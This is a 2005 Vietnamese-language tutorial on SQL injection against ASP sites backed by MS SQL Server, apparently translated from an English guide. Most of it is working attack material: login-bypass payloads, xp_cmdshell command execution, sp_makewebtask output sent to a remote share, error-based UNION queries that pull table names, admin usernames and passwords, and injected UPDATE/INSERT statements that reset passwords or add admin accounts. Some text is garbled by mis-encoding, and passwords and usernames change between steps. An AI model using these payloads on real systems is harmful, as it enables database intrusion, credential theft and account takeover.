TUTORIALSOFMYFRIENDSORORTHERAUTHORS Tutorial ñöôïc vieát bôûi kidbandes What you should look for? (Mục đích của việc tìm lỗi) Tìm ra các trang cho phép bạn nhạp dữ liệu, ví dụ là login page, search page, Thỉnh thoảng, HTML page sử dụng "Post" command để gởi thông số đến trang ASP khác. Vì vậy, bạn không thể thấy thông số trên thanh URL, và xem "FORM" tag trong HTML code. Bạn có thể tìm vài thứ như đoạn code sau: <FORM action=Search/search.asp method=post> <input type=hidden name=A value=C> </FORM> Mọi thứ giữa <FORM> và </FORM> có thông số lỗi được sử dụng. What if you can't find any page that takes input? Bạn làm gì nếu không tìm ðýợc trang nhập liệu nào ? Bạn nên tìm kiếm trang nhý ASP, JSP, CGI, hay PHP. Cố gắng tìm các URL vói các thông số sau: http://shopping.com/index.asp?id=10 How do you test if it is vulnerable? (Chúng ta kiểm tra lỗi như thế nào) Bắt đầu với 1 dấu nháy đơn, thêm vào như sau: hi' or 1=1-- Nhập vào login hoặc password, hoặc ngay cả URL. - login: hi' or 1=1-- - password: hi' or 1=1-- - http://shopping.com/index.asp?id=hi' or 1=1-- Nếu bạn làm như thế với 1 giá trị ẩn, phải download source HTML từ site, lưu vào đĩa cứng và chỉnh sửa URL và giá trị ẩn. Ví dụ: <form action=http://shopping.com/search/search.asp method=post> <input type=hidden name=A value="hi' or 1=1--"> </form> Nếu may mắn thì trên site của bạn, bạn sẽ lấy được đăng nhập nhng không co tên đãng nhập và mật mã Nhưng tại sao dùng 'or 1=1-- ? Chúng ta xem 1 ví dụ khác tại sao ' or 1=1-- lại quan trọng. Khác với việc vượt đăng nhập, nó có thể xem nhiều dữ liệu hơn là với các thông tin thông thường. Lấy 1 trang ASP bạn sẽ thấy cái link như sau: http://shopping.com/index.asp?category=food Trong URL, 'category' là 1 tên biến, và 'food' là giá trị gán cho biến ðó. Trong trường hợp ðó, 1 trang ASP có thể chứa các đoạn code sau (OK, đây là ðoạn code được viết ra cho bài viết này): v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr Như chúng ta thấy, biến sẽ có giá trị v_cat bên trong và vì vậy câu lệnh SQL sẽ trở thành: SELECT * FROM product WHERE PCategory='food' Câu lệnh truy vấn trên sẽ đưa ra tất cả các giá trị với điều kiện là field PCategory là 'food'. Bây giờ câu truy vấn sẽ nhý thế này: http://shopping.com/index.asp?category=food' or 1=1-- Bây giờ, giá trị của v_cat sẽ là "food' or 1=1-- ", nếu chúng ta chuyển ðổi thành câu lệnh SQL, chúng ta sẽ có: SELECT * FROM product WHERE PCategory='food' or 1=1--' Câu truy vấn sẽ lọc ra các giá trị trong cột PCategory vói các giá trị là 'food'. Dấu "--" sẽ bỏ qua các truy vấn của MSSQL . Thỉnh thoảng chúng ta cũng có thể sử dụng dấu "#". Tuy nhiên, nếu hệ thống không co MSSQL hoặc chỉ đơn giản la truy vấn bình thường ta chỉ cần sử dụng or 'a'='a Câu lệnh SQL sẽ là : SELECT * FROM product WHERE PCategory='food' or 'a'='a' Phụ thuộc vào câu truy vấn, ta sử dụng các giá trị sau: ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a How do I get remote execution with SQL injection? (Phương pháp để thực thi lệnh từ xa với SQL) Để có thể inject(nhập thêm) 1 lệnh SQL, chúng ta có thể thực hiện lệnh. Cài đặt mặc ðịnh trên MS SQL chạy dưới quyền SYSTEM, là user với quyền truy cập Aministrator. Chúng ta có thể sử dụng để lưu trữ master xp_cmdshell thực hiện lệnh từ xa: '; exec master xp_cmdshell 'ping 10.10.1.2'-- Thử dấu (") nếu dấu (') không làm việc. Hai dấu trừ ở cuối dòng lệnh cho phép thực hiện một lệnh SQL mới. Ðể kiểm tra rằng câu lệnh này thực hiện được, bạn có thể lắng nghe các gói tin ICMP từ 10.10.1.2, kiểm tra bất kỳ gói tin nào từ server: #tcpdump icmp Nếu bạn không nhận ðýợc bất kỳ gói tin từ server, và nhận 1 thông báo lỗi là không ðýợc quyền, thì có thể Administrator đã giới hạn quyền người dùng truy cập vào hệ thống. How to get output ofmy SQL query?(Phýõng pháp Lấy kết quả từ câu truy vẫn SQL) Nếu có thể, bạn sử dụng sp_makewebtask để viết câu truy vấn thành câu lệnh HTML: '; EXEC master sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA. TABLES" Nhưng địa chỉ IP phải có thư mục được share cho tất cả mọi người How to get data from the database using ODBC error message (Phương pháp Lấy dữ liệu từ CSDL sử dụng lỗi ODBC) Chúng ta sử dụng thủ tục bị lỗi trong Server MS SQL để thực hiện lệnh. Xem ví dụ sau: http://shopping.com/index.asp?id=10 Chúng ta cố gắng kết hợp UNION trong '10' với 1 câu lệnh khác: http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA. TABLES-- Bảng hệ thống INFORMATION_SCHEMA.TABLES chứa thông tin của tất cả các bảng trong hệ thống. TABLE_NAME field chứa tất cả các tên của bảng trong hệ thống. Nó luôn luôn tồn tại theo cách mặc định. Câu truy vấn sẽ là: SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- Ðiều này se trả về bảng đầu tiên trong bảng INFORMATION_SCHEMA_TABLES. Khi chúng ta UNION giá trị này với số nguyên 10, MS SQL Server sẽ cố gắng chuyển đổi giá trị chuỗi (nvarchar) thành 1 số nguyên. Thủ tục này bị lỗi, bởi vì không thể thục hiện chuyển đổi từ nvarchar thành int. Server sẽ xuất hiện lỗi sau: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5 Thông báo lỗi đủ để biết được là không thể chuyển ðổi giá trị chuỗi thành số. Trong trường hợp này, chúng ta có thể lấy được tên table đầu tiên là "table1". Để lấy table tiếp theo ta có thể sử dụng lệnh sau: http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA. TABLES WHERE TABLE_NAME NOT IN ('table1')-- Chúng ta cũng có thể sử dụng nó bằng lệnh LIKE: http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA. TABLES WHERE TABLE_NAME LIKE '%25login%25'-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5 Giá trị trong phù hợp, '%25login%25' sẽ được xem nhý là %login% trong SQL Server. Trong trường hợp này, ta có thể lấy tên đầu tiên trong table có giá trị phù hợp là, "admin_login". How to mine all column names of a table? (Cách lấy tất cả tên cột trong table) Chúng ta có thể sử dụng table khác INFORMATION_SCHEMA.COLUMNS để ánh xạ tất cả các cột của table: http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5 Bây giờ chúng ta có cột đầu tiên trong table, chúng ta sử dụng NOT IN () để lấy cột tiếp theo: http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5 Khi chúng ta tiếp tục có thể sẽ thu được một số cột cần thiết như là "password", "details". Chúng ta sẽ biết được nội dung khi sử dụng câu truy vấn sau: Quote: http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')-- Output: Quote: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5 How to retrieve any data we want? (phương pháp lấy tất cả dữ liệu mình muốn) Bây giờ chúng ta sẽ xem xét 1 số table quan trọng, và các field của nó, Chúng ta cũng sử dụng cùng kỹ thuật trên ðể lấy dữ liệu cần thiết trong CSDL . Bây giờ chúng ta lấy giá trị đầu tiên trong cột login_name từ bảng "admin_login": http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login-- Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'kidbandes' to a column of data type int. /index.asp, line 5 Tên của user admin là "kidbandes". Cuối cùng chúng ta lấy thêm password của "kidbandes" trong CSDL http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='kidbandes'-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'loverthu' to a column of data type int. /index.asp, line 5 bây giờ chúng ta có thể đãng nhập với tên "kidbandes" và password "lovethu". How to get numeric string value? (phương pháp lấy giá trị chuỗi số Có 1 sự giới hạn trong kỹ thuật ở trên. Chúng ta không thể lấy được bất kỳ câu lệnh lỗi nào nếu chúng ta chuyển đổi kiểu chuỗi thành bất kỳ kiểu số nào (các ki tự 0-9). Chúng ta cố gắng lấy password của "kimthu" mà nó là số "123456": http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'-- Thông thường chúng ta sẽ nhập được thông báo là "Page Not Found". Nguyên nhân ở đây là password của "kimthu" là "123456" sẽ không thể chuyển đổi, trước UNION với 1 số (10 in this case). bới vì đây là 1 câu lệnh UNION đúng, SQL server sẽ không quãng lỗi ODBC, và vì vậy chúng ta sẽ không thể lấy được thông báo lỗi. Ðể giải quyết vấn đề này, Chúng ta có thể dùng một ki tu chuỗi để làm cho câu lệnh truy vấn lỗi. Chúng ta cố gắng thực hiện câu truy vấn sau: http://shopping.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20anhyeuem') FROM admin_login where login_name='trinity'-- Chúng ta sử dụng dấu (+) để kết hợp password với 1 giá trị chuỗi mà chúng ta muốn. (ASSCII code for '+' = 0x2b). Chúng ta sẽ kết hợp với '(space)morpheus' thành 1 password thực. Vì vậy, ngay cả với password là một chuỗi số '123456', Nó cũng sẽ trở thành '123456 anhyeuem' bằng cách ðõn giản gọi lệnh convert(), sau đó cố gắng chuyển đổi '123456 anhyeuem' thành 1 số, SQL Server sẽ xuất hiện lỗi ODBC: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '123456 anhyeuem' to a column of data type int. /index.asp, line 5 How to update/insert data into the database? (phương pháp Update/Insert dữ liệu vào CSDL) Khi chúng ta thành công trong việc thu thập thông tin từ CSDL, ðiều này có nghĩa chúng ta có thể UPDATE hoặc ngay cả INSERT một record mới trong table. Ví dụ chúng ta có thể thay password của "kidbandes": http://shopping.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'lovethu' WHERE login_name='kidbandes'-- Để INSERT dữ liệu mới vào CSDL: http://shopping.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'kidbandes2','lovethu','NA')-- Bây giờ chúng ta có thể đăng nhập với "kidbandes2" và password "lovethu". date : 29/05/2005 TG kidbandes newbie of Thecorrs Family . TUTORIALS OF MY FRIENDS OR ORTHER AUTHORS Tutorial ñöôïc vieát bôûi kidbandes What you should look for? (Mục đích của việc tìm. các giá trị sau: ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a